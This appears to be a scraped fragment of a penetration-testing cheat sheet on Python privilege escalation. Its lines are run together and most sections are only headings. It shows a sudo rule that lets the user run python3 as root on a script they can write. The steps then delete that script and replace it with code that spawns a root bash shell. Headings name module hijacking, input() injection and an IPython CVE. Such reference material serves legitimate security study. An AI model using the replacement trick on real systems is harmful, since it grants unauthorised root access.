Python Privilege Escalation
Sudo PrivEsc
Replace with Arbitrary Script
sudo -l
(root) NOPASSWD: /usr/bin/python3 /home/<username>/example.pyrm -rf /home/<username>/example.py
touch /home/<username>/example.pyimport os;os.system('/bin/bash')Module Hijacking
sudo -l
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/example.pyModule Overriding
OS Commands in input()
IPython Privilege Escalation (CVE-2022-21699)
References
Last updated